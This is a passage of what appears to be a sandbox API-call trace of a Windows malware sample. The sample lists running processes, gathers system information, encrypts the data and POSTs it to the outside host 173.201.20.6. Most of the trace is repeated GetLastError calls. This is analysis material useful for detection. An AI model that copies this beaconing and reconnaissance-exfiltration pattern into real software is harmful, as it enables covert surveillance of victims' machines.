lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0140.335] GetCurrentProcess () returned 0xffffffff [0140.335] GetLastError () returned 0x0 [0140.336] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="36961P") returned 6 [0140.336] SetLastError (dwErrCode=0x0) [0140.336] GetCurrentProcessId () returned 0x79c [0140.336] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0140.336] CloseHandle (hObject=0x394) returned 1 [0140.336] GetLastError () returned 0x12 [0140.336] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="36962P") returned 6 [0140.336] SetLastError (dwErrCode=0x12) [0140.336] GetCurrentProcessId () returned 0x79c [0140.336] lstrlenW (lpString="systeminfo.exe") returned 14 [0140.336] lstrlenW (lpString="reader_sl.exe") returned 13 [0140.336] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0140.336] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0140.336] lstrlenW (lpString="explorer.exe") returned 12 [0140.336] lstrlenW (lpString="dwm.exe") returned 7 [0140.336] lstrlenW (lpString="taskeng.exe") returned 11 [0140.336] lstrlenW (lpString="userinit.exe") returned 12 [0140.336] lstrlenW (lpString="taskhost.exe") returned 12 [0140.336] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.336] lstrlenW (lpString="audiodg.exe") returned 11 [0140.336] lstrlenW (lpString="svchost.exe") returned 11 [0140.336] lstrlenW (lpString="lsm.exe") returned 7 [0140.336] lstrlenW (lpString="lsass.exe") returned 9 [0140.336] lstrlenW (lpString="services.exe") returned 12 [0140.336] lstrlenW (lpString="winlogon.exe") returned 12 [0140.336] lstrlenW (lpString="wininit.exe") returned 11 [0140.336] lstrlenW (lpString="csrss.exe") returned 9 [0140.336] lstrlenW (lpString="smss.exe") returned 8 [0140.336] lstrlenW (lpString="System") returned 6 [0140.336] lstrlenW (lpString="[System Process]") returned 16 [0140.336] lstrcpyW (in: lpString1=0x4edea0, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0140.336] lstrlenW (lpString="reader_sl.exe") returned 13 [0140.336] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0140.336] lstrcpyW (in: lpString1=0x4edebc, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0140.336] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0140.337] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4eded6, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0140.337] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0140.337] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edf00, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0140.337] lstrlenW (lpString="explorer.exe") returned 12 [0140.337] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edf1a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0140.337] lstrlenW (lpString="dwm.exe") returned 7 [0140.337] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0140.337] lstrcpyW (in: lpString1=0x4edf2a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0140.337] lstrlenW (lpString="taskeng.exe") returned 11 [0140.337] lstrcmpiW (lpString1="userinit.exe", lpString2="systeminfo.exe") returned 1 [0140.337] lstrcpyW (in: lpString1=0x4edf42, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0140.337] lstrlenW (lpString="userinit.exe") returned 12 [0140.337] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0140.337] lstrcpyW (in: lpString1=0x4edf5c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0140.337] lstrlenW (lpString="taskhost.exe") returned 12 [0140.337] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edf76, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0140.337] lstrlenW (lpString="spoolsv.exe") returned 11 [0140.337] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edf8e, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0140.337] lstrlenW (lpString="audiodg.exe") returned 11 [0140.337] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edfa6, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.337] lstrlenW (lpString="svchost.exe") returned 11 [0140.337] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edfbe, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0140.337] lstrlenW (lpString="lsm.exe") returned 7 [0140.337] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edfce, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0140.337] lstrlenW (lpString="lsass.exe") returned 9 [0140.337] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4edfe2, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0140.337] lstrlenW (lpString="services.exe") returned 12 [0140.337] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0140.337] lstrcpyW (in: lpString1=0x4edffc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0140.337] lstrlenW (lpString="winlogon.exe") returned 12 [0140.337] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0140.337] lstrcpyW (in: lpString1=0x4ee016, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0140.337] lstrlenW (lpString="wininit.exe") returned 11 [0140.337] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4ee02e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0140.337] lstrlenW (lpString="csrss.exe") returned 9 [0140.337] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4ee042, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0140.337] lstrlenW (lpString="smss.exe") returned 8 [0140.337] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4ee054, lpString2="System" | out: lpString1="System") returned="System" [0140.337] lstrlenW (lpString="System") returned 6 [0140.337] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0140.337] lstrcpyW (in: lpString1=0x4ee062, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0140.337] lstrlenW (lpString="[System Process]") returned 16 [0140.337] GetCurrentProcessId () returned 0x79c [0140.338] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=242, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 242 [0140.338] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0140.338] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0140.338] GetLastError () returned 0x12 [0140.338] GetCurrentProcessId () returned 0x79c [0140.338] GetCurrentProcessId () returned 0x79c [0140.338] lstrlenA (lpString="just string") returned 11 [0140.338] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.338] GetLastError () returned 0x12 [0140.338] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0140.338] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4f3878, Final=1, dwFlags=0x0, pbData=0x520764*, pdwDataLen=0x246f85c*=0xd4, dwBufLen=0xe0 | out: pbData=0x520764*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0140.338] GetCurrentProcessId () returned 0x79c [0140.338] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0140.338] GetCurrentProcessId () returned 0x79c [0140.338] CryptGetHashParam (in: hHash=0x4f3878, dwParam=0x2, pbData=0x520750, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x520750, pdwDataLen=0x246f858) returned 1 [0140.338] CryptDestroyHash (hHash=0x4f3878) returned 1 [0140.338] GetCurrentProcessId () returned 0x79c [0140.338] lstrlenA (lpString="just string") returned 11 [0140.338] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.338] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0140.338] lstrlenA (lpString="just string") returned 11 [0140.338] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0140.338] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0140.338] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0140.338] GetCurrentProcess () returned 0xffffffff [0140.338] GetLastError () returned 0x0 [0140.338] wsprintfA (in: param_1=0x246f7ef, param_2="%X%P" | out: param_1="38E69P") returned 6 [0140.338] SetLastError (dwErrCode=0x0) [0140.338] GetCurrentProcessId () returned 0x79c [0140.339] GetLastError () returned 0x0 [0140.339] wsprintfA (in: param_1=0x246f7db, param_2="%X%P" | out: param_1="38E6AP") returned 6 [0140.339] SetLastError (dwErrCode=0x0) [0140.339] GetCurrentProcessId () returned 0x79c [0140.339] GetCurrentProcessId () returned 0x79c [0140.339] GetCurrentProcessId () returned 0x79c [0140.339] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0140.340] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x5206f0*, dwOptionalLength=0x154 | out: lpOptional=0x5206f0*) returned 1 [0143.054] GetCurrentProcessId () returned 0x79c [0143.054] GetLastError () returned 0x0 [0143.054] GetLastError () returned 0x0 [0143.054] GetLastError () returned 0x0 [0143.054] GetLastError () returned 0x0 [0143.054] GetLastError () returned 0x0 [0143.054] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.055] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.056] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.057] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.058] GetLastError () returned 0x0 [0143.059] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x246f918, lpdwBufferLength=0x246f870, lpdwIndex=0x0 | out: lpBuffer=0x246f918*, lpdwBufferLength=0x246f870*=0x4, lpdwIndex=0x0) returned 1 [0143.059] GetCurrentProcessId () returned 0x79c [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.059] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.060] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 0x0 [0143.061] GetLastError () returned 